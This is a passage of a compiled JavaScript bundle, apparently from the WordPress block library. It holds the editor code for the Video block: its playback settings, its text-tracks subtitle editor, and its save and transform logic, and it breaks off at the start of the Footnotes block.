56326 hasValue: () => !!loop,
56327 onDeselect: () => {
56328 setAttributes({ loop: false });
56329 },
56330 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56331 external_wp_components_namespaceObject.ToggleControl,
56332 {
56333 __nextHasNoMarginBottom: true,
56334 label: (0,external_wp_i18n_namespaceObject.__)("Loop"),
56335 onChange: toggleFactory.loop,
56336 checked: !!loop
56337 }
56338 )
56339 }
56340 ),
56341 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56342 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
56343 {
56344 label: (0,external_wp_i18n_namespaceObject.__)("Muted"),
56345 isShownByDefault: true,
56346 hasValue: () => !!muted,
56347 onDeselect: () => {
56348 setAttributes({ muted: false });
56349 },
56350 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56351 external_wp_components_namespaceObject.ToggleControl,
56352 {
56353 __nextHasNoMarginBottom: true,
56354 label: (0,external_wp_i18n_namespaceObject.__)("Muted"),
56355 onChange: toggleFactory.muted,
56356 checked: !!muted,
56357 disabled: autoplay,
56358 help: autoplay ? (0,external_wp_i18n_namespaceObject.__)("Muted because of Autoplay.") : null
56359 }
56360 )
56361 }
56362 ),
56363 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56364 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
56365 {
56366 label: (0,external_wp_i18n_namespaceObject.__)("Playback controls"),
56367 isShownByDefault: true,
56368 hasValue: () => !controls,
56369 onDeselect: () => {
56370 setAttributes({ controls: true });
56371 },
56372 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56373 external_wp_components_namespaceObject.ToggleControl,
56374 {
56375 __nextHasNoMarginBottom: true,
56376 label: (0,external_wp_i18n_namespaceObject.__)("Playback controls"),
56377 onChange: toggleFactory.controls,
56378 checked: !!controls
56379 }
56380 )
56381 }
56382 ),
56383 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56384 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
56385 {
56386 label: (0,external_wp_i18n_namespaceObject.__)("Play inline"),
56387 isShownByDefault: true,
56388 hasValue: () => !!playsInline,
56389 onDeselect: () => {
56390 setAttributes({ playsInline: false });
56391 },
56392 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56393 external_wp_components_namespaceObject.ToggleControl,
56394 {
56395 __nextHasNoMarginBottom: true,
56396 label: (0,external_wp_i18n_namespaceObject.__)("Play inline"),
56397 onChange: toggleFactory.playsInline,
56398 checked: !!playsInline,
56399 disabled: autoplay,
56400 help: autoplay ? (0,external_wp_i18n_namespaceObject.__)("Play inline enabled because of Autoplay.") : (0,external_wp_i18n_namespaceObject.__)(
56401 "When enabled, videos will play directly within the webpage on mobile browsers, instead of opening in a fullscreen player."
56402 )
56403 }
56404 )
56405 }
56406 ),
56407 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56408 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
56409 {
56410 label: (0,external_wp_i18n_namespaceObject.__)("Preload"),
56411 isShownByDefault: true,
56412 hasValue: () => preload !== "metadata",
56413 onDeselect: () => {
56414 setAttributes({ preload: "metadata" });
56415 },
56416 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56417 external_wp_components_namespaceObject.SelectControl,
56418 {
56419 __next40pxDefaultSize: true,
56420 __nextHasNoMarginBottom: true,
56421 label: (0,external_wp_i18n_namespaceObject.__)("Preload"),
56422 value: preload,
56423 onChange: onChangePreload,
56424 options,
56425 hideCancelButton: true
56426 }
56427 )
56428 }
56429 )
56430 ] });
56431};
56432var edit_common_settings_default = VideoSettings;
56433
56434
56435;// ./node_modules/@wordpress/block-library/build-module/video/tracks-editor.js
56436
56437
56438
56439
56440
56441
56442
56443
56444
56445const { Badge: tracks_editor_Badge } = unlock(external_wp_components_namespaceObject.privateApis);
56446const ALLOWED_TYPES = ["text/vtt"];
56447const DEFAULT_KIND = "subtitles";
56448const KIND_OPTIONS = [
56449 { label: (0,external_wp_i18n_namespaceObject.__)("Subtitles"), value: "subtitles" },
56450 { label: (0,external_wp_i18n_namespaceObject.__)("Captions"), value: "captions" },
56451 { label: (0,external_wp_i18n_namespaceObject.__)("Descriptions"), value: "descriptions" },
56452 { label: (0,external_wp_i18n_namespaceObject.__)("Chapters"), value: "chapters" },
56453 { label: (0,external_wp_i18n_namespaceObject.__)("Metadata"), value: "metadata" }
56454];
56455const DEFAULT_TRACK = {
56456 src: "",
56457 label: "",
56458 srcLang: "en",
56459 kind: DEFAULT_KIND,
56460 default: false
56461};
56462function TrackList({ tracks, onEditPress }) {
56463 const content = tracks.map((track, index) => {
56464 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
56465 external_wp_components_namespaceObject.__experimentalHStack,
56466 {
56467 className: "block-library-video-tracks-editor__track-list-track",
56468 children: [
56469 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: track.label }),
56470 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "flex-end", children: [
56471 track.default && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(tracks_editor_Badge, { children: (0,external_wp_i18n_namespaceObject.__)("Default") }),
56472 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56473 external_wp_components_namespaceObject.Button,
56474 {
56475 __next40pxDefaultSize: true,
56476 variant: "tertiary",
56477 onClick: () => onEditPress(index),
56478 "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(
56479 /* translators: %s: Label of the video text track e.g: "French subtitles". */
56480 (0,external_wp_i18n_namespaceObject._x)("Edit %s", "text tracks"),
56481 track.label
56482 ),
56483 children: (0,external_wp_i18n_namespaceObject.__)("Edit")
56484 }
56485 )
56486 ] })
56487 ]
56488 },
56489 track.id ?? track.src
56490 );
56491 });
56492 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56493 external_wp_components_namespaceObject.MenuGroup,
56494 {
56495 label: (0,external_wp_i18n_namespaceObject.__)("Text tracks"),
56496 className: "block-library-video-tracks-editor__track-list",
56497 children: content
56498 }
56499 );
56500}
56501function SingleTrackEditor({
56502 track,
56503 onChange,
56504 onClose,
56505 onRemove,
56506 allowSettingDefault
56507}) {
56508 const [trackState, setTrackState] = (0,external_wp_element_namespaceObject.useState)({
56509 ...DEFAULT_TRACK,
56510 ...track
56511 });
56512 const { src, label, srcLang, kind, default: isDefaultTrack } = trackState;
56513 const fileName = src.startsWith("blob:") ? "" : (0,external_wp_url_namespaceObject.getFilename)(src) || "";
56514 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
56515 external_wp_components_namespaceObject.__experimentalVStack,
56516 {
56517 className: "block-library-video-tracks-editor__single-track-editor",
56518 spacing: "4",
56519 children: [
56520 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-library-video-tracks-editor__single-track-editor-edit-track-label", children: (0,external_wp_i18n_namespaceObject.__)("Edit track") }),
56521 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", { children: [
56522 (0,external_wp_i18n_namespaceObject.__)("File"),
56523 ": ",
56524 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("b", { children: fileName })
56525 ] }),
56526 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalGrid, { columns: 2, gap: 4, children: [
56527 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56528 external_wp_components_namespaceObject.TextControl,
56529 {
56530 __next40pxDefaultSize: true,
56531 __nextHasNoMarginBottom: true,
56532 onChange: (newLabel) => setTrackState((prevTrackState) => ({
56533 ...prevTrackState,
56534 label: newLabel
56535 })),
56536 label: (0,external_wp_i18n_namespaceObject.__)("Label"),
56537 value: label,
56538 help: (0,external_wp_i18n_namespaceObject.__)("Title of track")
56539 }
56540 ),
56541 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56542 external_wp_components_namespaceObject.TextControl,
56543 {
56544 __next40pxDefaultSize: true,
56545 __nextHasNoMarginBottom: true,
56546 onChange: (newSrcLang) => setTrackState((prevTrackState) => ({
56547 ...prevTrackState,
56548 srcLang: newSrcLang
56549 })),
56550 label: (0,external_wp_i18n_namespaceObject.__)("Source language"),
56551 value: srcLang,
56552 help: (0,external_wp_i18n_namespaceObject.__)("Language tag (en, fr, etc.)")
56553 }
56554 )
56555 ] }),
56556 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "4", children: [
56557 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56558 external_wp_components_namespaceObject.SelectControl,
56559 {
56560 __next40pxDefaultSize: true,
56561 __nextHasNoMarginBottom: true,
56562 className: "block-library-video-tracks-editor__single-track-editor-kind-select",
56563 options: KIND_OPTIONS,
56564 value: kind,
56565 label: (0,external_wp_i18n_namespaceObject.__)("Kind"),
56566 onChange: (newKind) => setTrackState((prevTrackState) => ({
56567 ...prevTrackState,
56568 kind: newKind
56569 }))
56570 }
56571 ),
56572 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56573 external_wp_components_namespaceObject.ToggleControl,
56574 {
56575 __next40pxDefaultSize: true,
56576 __nextHasNoMarginBottom: true,
56577 label: (0,external_wp_i18n_namespaceObject.__)("Set as default track"),
56578 checked: isDefaultTrack,
56579 disabled: !allowSettingDefault,
56580 onChange: (defaultTrack) => setTrackState((prevTrackState) => ({
56581 ...prevTrackState,
56582 default: defaultTrack
56583 }))
56584 }
56585 ),
56586 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { className: "block-library-video-tracks-editor__single-track-editor-buttons-container", children: [
56587 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56588 external_wp_components_namespaceObject.Button,
56589 {
56590 __next40pxDefaultSize: true,
56591 isDestructive: true,
56592 variant: "link",
56593 onClick: onRemove,
56594 children: (0,external_wp_i18n_namespaceObject.__)("Remove track")
56595 }
56596 ),
56597 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56598 external_wp_components_namespaceObject.Button,
56599 {
56600 __next40pxDefaultSize: true,
56601 variant: "primary",
56602 onClick: () => {
56603 onChange(trackState);
56604 onClose();
56605 },
56606 children: (0,external_wp_i18n_namespaceObject.__)("Apply")
56607 }
56608 )
56609 ] })
56610 ] })
56611 ]
56612 }
56613 );
56614}
56615function TracksEditor({ tracks = [], onChange }) {
56616 const mediaUpload = (0,external_wp_data_namespaceObject.useSelect)((select) => {
56617 return select(external_wp_blockEditor_namespaceObject.store).getSettings().mediaUpload;
56618 }, []);
56619 const [trackBeingEdited, setTrackBeingEdited] = (0,external_wp_element_namespaceObject.useState)(null);
56620 const dropdownPopoverRef = (0,external_wp_element_namespaceObject.useRef)();
56621 const handleTrackSelect = (selectedTracks = [], appendTracks = false) => {
56622 const existingTracksMap = new Map(
56623 tracks.map((track) => [track.id, track])
56624 );
56625 const tracksToAdd = selectedTracks.map(({ id, title, url }) => {
56626 if (existingTracksMap.has(id)) {
56627 return existingTracksMap.get(id);
56628 }
56629 return {
56630 ...DEFAULT_TRACK,
56631 id,
56632 label: title || "",
56633 src: url
56634 };
56635 });
56636 if (tracksToAdd.length === 0) {
56637 return;
56638 }
56639 onChange([...appendTracks ? tracks : [], ...tracksToAdd]);
56640 };
56641 function uploadFiles(event) {
56642 const files = event.target.files;
56643 mediaUpload({
56644 allowedTypes: ALLOWED_TYPES,
56645 filesList: files,
56646 onFileChange: (selectedTracks) => {
56647 if (!Array.isArray(selectedTracks)) {
56648 return;
56649 }
56650 const uploadedTracks = selectedTracks.filter(
56651 (track) => !!track?.id
56652 );
56653 if (!uploadedTracks.length) {
56654 return;
56655 }
56656 handleTrackSelect(uploadedTracks, true);
56657 }
56658 });
56659 }
56660 (0,external_wp_element_namespaceObject.useEffect)(() => {
56661 dropdownPopoverRef.current?.focus();
56662 }, [trackBeingEdited]);
56663 if (!mediaUpload) {
56664 return null;
56665 }
56666 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56667 external_wp_components_namespaceObject.Dropdown,
56668 {
56669 contentClassName: "block-library-video-tracks-editor",
56670 focusOnMount: true,
56671 popoverProps: {
56672 ref: dropdownPopoverRef
56673 },
56674 renderToggle: ({ isOpen, onToggle }) => {
56675 const handleOnToggle = () => {
56676 if (!isOpen) {
56677 setTrackBeingEdited(null);
56678 }
56679 onToggle();
56680 };
56681 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56682 external_wp_components_namespaceObject.ToolbarButton,
56683 {
56684 "aria-expanded": isOpen,
56685 "aria-haspopup": "true",
56686 onClick: handleOnToggle,
56687 children: (0,external_wp_i18n_namespaceObject.__)("Text tracks")
56688 }
56689 ) });
56690 },
56691 renderContent: () => {
56692 if (trackBeingEdited !== null) {
56693 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56694 SingleTrackEditor,
56695 {
56696 track: tracks[trackBeingEdited],
56697 onChange: (newTrack) => {
56698 const newTracks = [...tracks];
56699 newTracks[trackBeingEdited] = newTrack;
56700 onChange(newTracks);
56701 },
56702 onClose: () => setTrackBeingEdited(null),
56703 onRemove: () => {
56704 onChange(
56705 tracks.filter(
56706 (_track, index) => index !== trackBeingEdited
56707 )
56708 );
56709 setTrackBeingEdited(null);
56710 },
56711 allowSettingDefault: !tracks.some((track) => track.default) || tracks[trackBeingEdited].default
56712 }
56713 );
56714 }
56715 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
56716 tracks.length === 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-library-video-tracks-editor__tracks-informative-message", children: [
56717 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { className: "block-library-video-tracks-editor__tracks-informative-message-title", children: (0,external_wp_i18n_namespaceObject.__)("Text tracks") }),
56718 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "block-library-video-tracks-editor__tracks-informative-message-description", children: (0,external_wp_i18n_namespaceObject.__)(
56719 "Tracks can be subtitles, captions, chapters, or descriptions. They help make your content more accessible to a wider range of users."
56720 ) })
56721 ] }),
56722 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.NavigableMenu, { children: [
56723 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56724 TrackList,
56725 {
56726 tracks,
56727 onEditPress: setTrackBeingEdited
56728 }
56729 ),
56730 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56731 external_wp_components_namespaceObject.MenuGroup,
56732 {
56733 className: "block-library-video-tracks-editor__add-tracks-container",
56734 label: (0,external_wp_i18n_namespaceObject.__)("Add tracks"),
56735 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.MediaUploadCheck, { children: [
56736 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56737 external_wp_blockEditor_namespaceObject.MediaUpload,
56738 {
56739 onSelect: handleTrackSelect,
56740 allowedTypes: ALLOWED_TYPES,
56741 value: tracks.map(({ id }) => id),
56742 multiple: true,
56743 render: ({ open }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56744 external_wp_components_namespaceObject.MenuItem,
56745 {
56746 icon: media_default,
56747 onClick: open,
56748 children: (0,external_wp_i18n_namespaceObject.__)("Open Media Library")
56749 }
56750 )
56751 }
56752 ),
56753 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56754 external_wp_components_namespaceObject.FormFileUpload,
56755 {
56756 onChange: uploadFiles,
56757 accept: ".vtt,text/vtt",
56758 multiple: true,
56759 render: ({ openFileDialog }) => {
56760 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56761 external_wp_components_namespaceObject.MenuItem,
56762 {
56763 icon: upload_default,
56764 onClick: openFileDialog,
56765 children: (0,external_wp_i18n_namespaceObject._x)("Upload", "verb")
56766 }
56767 );
56768 }
56769 }
56770 )
56771 ] })
56772 }
56773 )
56774 ] })
56775 ] });
56776 }
56777 }
56778 );
56779}
56780
56781
56782;// ./node_modules/@wordpress/block-library/build-module/video/edit.js
56783
56784
56785
56786
56787
56788
56789
56790
56791
56792
56793
56794
56795
56796
56797
56798
56799
56800const video_edit_ALLOWED_MEDIA_TYPES = ["video"];
56801function VideoEdit({
56802 isSelected: isSingleSelected,
56803 attributes,
56804 className,
56805 setAttributes,
56806 insertBlocksAfter,
56807 onReplace
56808}) {
56809 const videoPlayer = (0,external_wp_element_namespaceObject.useRef)();
56810 const { id, controls, poster, src, tracks } = attributes;
56811 const [temporaryURL, setTemporaryURL] = (0,external_wp_element_namespaceObject.useState)(attributes.blob);
56812 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
56813 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
56814 const hasNonContentControls = blockEditingMode === "default";
56815 useUploadMediaFromBlobURL({
56816 url: temporaryURL,
56817 allowedTypes: video_edit_ALLOWED_MEDIA_TYPES,
56818 onChange: onSelectVideo,
56819 onError: onUploadError
56820 });
56821 (0,external_wp_element_namespaceObject.useEffect)(() => {
56822 if (videoPlayer.current) {
56823 videoPlayer.current.load();
56824 }
56825 }, [poster]);
56826 function onSelectVideo(media) {
56827 if (!media || !media.url) {
56828 setAttributes({
56829 src: void 0,
56830 id: void 0,
56831 poster: void 0,
56832 caption: void 0,
56833 blob: void 0
56834 });
56835 setTemporaryURL();
56836 return;
56837 }
56838 if ((0,external_wp_blob_namespaceObject.isBlobURL)(media.url)) {
56839 setTemporaryURL(media.url);
56840 return;
56841 }
56842 setAttributes({
56843 blob: void 0,
56844 src: media.url,
56845 id: media.id,
56846 poster: media.image?.src !== media.icon ? media.image?.src : void 0,
56847 caption: media.caption
56848 });
56849 setTemporaryURL();
56850 }
56851 function onSelectURL(newSrc) {
56852 if (newSrc !== src) {
56853 const embedBlock = createUpgradedEmbedBlock({
56854 attributes: { url: newSrc }
56855 });
56856 if (void 0 !== embedBlock && onReplace) {
56857 onReplace(embedBlock);
56858 return;
56859 }
56860 setAttributes({
56861 blob: void 0,
56862 src: newSrc,
56863 id: void 0,
56864 poster: void 0
56865 });
56866 setTemporaryURL();
56867 }
56868 }
56869 const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
56870 function onUploadError(message) {
56871 createErrorNotice(message, { type: "snackbar" });
56872 }
56873 const placeholder = (content) => {
56874 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56875 external_wp_components_namespaceObject.Placeholder,
56876 {
56877 className: "block-editor-media-placeholder",
56878 withIllustration: !isSingleSelected,
56879 icon: video_default,
56880 label: (0,external_wp_i18n_namespaceObject.__)("Video"),
56881 instructions: (0,external_wp_i18n_namespaceObject.__)(
56882 "Drag and drop a video, upload, or choose from your library."
56883 ),
56884 children: content
56885 }
56886 );
56887 };
56888 const classes = dist_clsx(className, {
56889 "is-transient": !!temporaryURL
56890 });
56891 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
56892 className: classes
56893 });
56894 if (!src && !temporaryURL) {
56895 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56896 external_wp_blockEditor_namespaceObject.MediaPlaceholder,
56897 {
56898 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: video_default }),
56899 onSelect: onSelectVideo,
56900 onSelectURL,
56901 accept: "video/*",
56902 allowedTypes: video_edit_ALLOWED_MEDIA_TYPES,
56903 value: attributes,
56904 onError: onUploadError,
56905 placeholder
56906 }
56907 ) });
56908 }
56909 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
56910 isSingleSelected && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
56911 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56912 TracksEditor,
56913 {
56914 tracks,
56915 onChange: (newTracks) => {
56916 setAttributes({ tracks: newTracks });
56917 }
56918 }
56919 ) }),
56920 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "other", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56921 external_wp_blockEditor_namespaceObject.MediaReplaceFlow,
56922 {
56923 mediaId: id,
56924 mediaURL: src,
56925 allowedTypes: video_edit_ALLOWED_MEDIA_TYPES,
56926 accept: "video/*",
56927 onSelect: onSelectVideo,
56928 onSelectURL,
56929 onError: onUploadError,
56930 onReset: () => onSelectVideo(void 0)
56931 }
56932 ) })
56933 ] }),
56934 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
56935 external_wp_components_namespaceObject.__experimentalToolsPanel,
56936 {
56937 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
56938 resetAll: () => {
56939 setAttributes({
56940 autoplay: false,
56941 controls: true,
56942 loop: false,
56943 muted: false,
56944 playsInline: false,
56945 preload: "metadata",
56946 poster: void 0
56947 });
56948 },
56949 dropdownMenuProps,
56950 children: [
56951 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56952 edit_common_settings_default,
56953 {
56954 setAttributes,
56955 attributes
56956 }
56957 ),
56958 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56959 poster_image_default,
56960 {
56961 poster,
56962 onChange: (posterImage) => setAttributes({
56963 poster: posterImage?.url
56964 })
56965 }
56966 )
56967 ]
56968 }
56969 ) }),
56970 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { ...blockProps, children: [
56971 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Disabled, { isDisabled: !isSingleSelected, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56972 "video",
56973 {
56974 controls,
56975 poster,
56976 src: src || temporaryURL,
56977 ref: videoPlayer,
56978 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tracks, { tracks })
56979 }
56980 ) }),
56981 !!temporaryURL && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}),
56982 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56983 Caption,
56984 {
56985 attributes,
56986 setAttributes,
56987 isSelected: isSingleSelected,
56988 insertBlocksAfter,
56989 label: (0,external_wp_i18n_namespaceObject.__)("Video caption text"),
56990 showToolbarButton: isSingleSelected && hasNonContentControls
56991 }
56992 )
56993 ] })
56994 ] });
56995}
56996var video_edit_edit_default = VideoEdit;
56997
56998
56999;// ./node_modules/@wordpress/block-library/build-module/video/save.js
57000
57001
57002
57003function video_save_save({ attributes }) {
57004 const {
57005 autoplay,
57006 caption,
57007 controls,
57008 loop,
57009 muted,
57010 poster,
57011 preload,
57012 src,
57013 playsInline,
57014 tracks
57015 } = attributes;
57016 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: [
57017 src && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57018 "video",
57019 {
57020 autoPlay: autoplay,
57021 controls,
57022 loop,
57023 muted,
57024 poster,
57025 preload: preload !== "metadata" ? preload : void 0,
57026 src,
57027 playsInline,
57028 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tracks, { tracks })
57029 }
57030 ),
57031 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57032 external_wp_blockEditor_namespaceObject.RichText.Content,
57033 {
57034 className: (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)("caption"),
57035 tagName: "figcaption",
57036 value: caption
57037 }
57038 )
57039 ] });
57040}
57041
57042
57043;// ./node_modules/@wordpress/block-library/build-module/video/transforms.js
57044
57045
57046const video_transforms_transforms = {
57047 from: [
57048 {
57049 type: "files",
57050 isMatch(files) {
57051 return files.length === 1 && files[0].type.indexOf("video/") === 0;
57052 },
57053 transform(files) {
57054 const file = files[0];
57055 const block = (0,external_wp_blocks_namespaceObject.createBlock)("core/video", {
57056 blob: (0,external_wp_blob_namespaceObject.createBlobURL)(file)
57057 });
57058 return block;
57059 }
57060 },
57061 {
57062 type: "shortcode",
57063 tag: "video",
57064 attributes: {
57065 src: {
57066 type: "string",
57067 shortcode: ({
57068 named: { src, mp4, m4v, webm, ogv, flv }
57069 }) => {
57070 return src || mp4 || m4v || webm || ogv || flv;
57071 }
57072 },
57073 poster: {
57074 type: "string",
57075 shortcode: ({ named: { poster } }) => {
57076 return poster;
57077 }
57078 },
57079 loop: {
57080 type: "string",
57081 shortcode: ({ named: { loop } }) => {
57082 return loop;
57083 }
57084 },
57085 autoplay: {
57086 type: "string",
57087 shortcode: ({ named: { autoplay } }) => {
57088 return autoplay;
57089 }
57090 },
57091 preload: {
57092 type: "string",
57093 shortcode: ({ named: { preload } }) => {
57094 return preload;
57095 }
57096 }
57097 }
57098 },
57099 {
57100 type: "raw",
57101 isMatch: (node) => node.nodeName === "P" && node.children.length === 1 && node.firstChild.nodeName === "VIDEO",
57102 transform: (node) => {
57103 const videoElement = node.firstChild;
57104 const attributes = {
57105 autoplay: videoElement.hasAttribute("autoplay") ? true : void 0,
57106 controls: videoElement.hasAttribute("controls") ? void 0 : false,
57107 loop: videoElement.hasAttribute("loop") ? true : void 0,
57108 muted: videoElement.hasAttribute("muted") ? true : void 0,
57109 preload: videoElement.getAttribute("preload") || void 0,
57110 playsInline: videoElement.hasAttribute("playsinline") ? true : void 0,
57111 poster: videoElement.getAttribute("poster") || void 0,
57112 src: videoElement.getAttribute("src") || void 0
57113 };
57114 if ((0,external_wp_blob_namespaceObject.isBlobURL)(attributes.src)) {
57115 attributes.blob = attributes.src;
57116 delete attributes.src;
57117 }
57118 return (0,external_wp_blocks_namespaceObject.createBlock)("core/video", attributes);
57119 }
57120 }
57121 ]
57122};
57123var video_transforms_transforms_default = video_transforms_transforms;
57124
57125
57126;// ./node_modules/@wordpress/block-library/build-module/video/index.js
57127
57128
57129
57130
57131
57132
57133
57134
57135const { name: video_name } = video_block_namespaceObject;
57136const video_settings = {
57137 icon: video_default,
57138 example: {
57139 attributes: {
57140 src: "https://upload.wikimedia.org/wikipedia/commons/c/ca/Wood_thrush_in_Central_Park_switch_sides_%2816510%29.webm",
57141 // translators: Caption accompanying a video of the wood thrush singing, which serves as an example for the Video block.
57142 caption: (0,external_wp_i18n_namespaceObject.__)("Wood thrush singing in Central Park, NYC.")
57143 }
57144 },
57145 transforms: video_transforms_transforms_default,
57146 deprecated: video_deprecated_deprecated_default,
57147 edit: video_edit_edit_default,
57148 save: video_save_save
57149};
57150const video_init = () => initBlock({ name: video_name, metadata: video_block_namespaceObject, settings: video_settings });
57151
57152
57153;// ./node_modules/@wordpress/block-library/build-module/footnotes/edit.js
57154
57155
57156
57157
57158
57159
57160function FootnotesEdit({ context: { postType, postId } }) {
57161 const [meta, updateMeta] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
57162 "postType",
57163 postType,
57164 "meta",
57165 postId
57166 );
57167 const footnotesSupported = "string" === typeof meta?.footnotes;
57168 const footnotes = meta?.footnotes ? JSON.parse(meta.footnotes) : [];
57169 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
57170 if (!footnotesSupported) {
57171 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57172 external_wp_components_namespaceObject.Placeholder,
57173 {
57174 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: format_list_numbered_default }),
57175 label: (0,external_wp_i18n_namespaceObject.__)("Footnotes"),
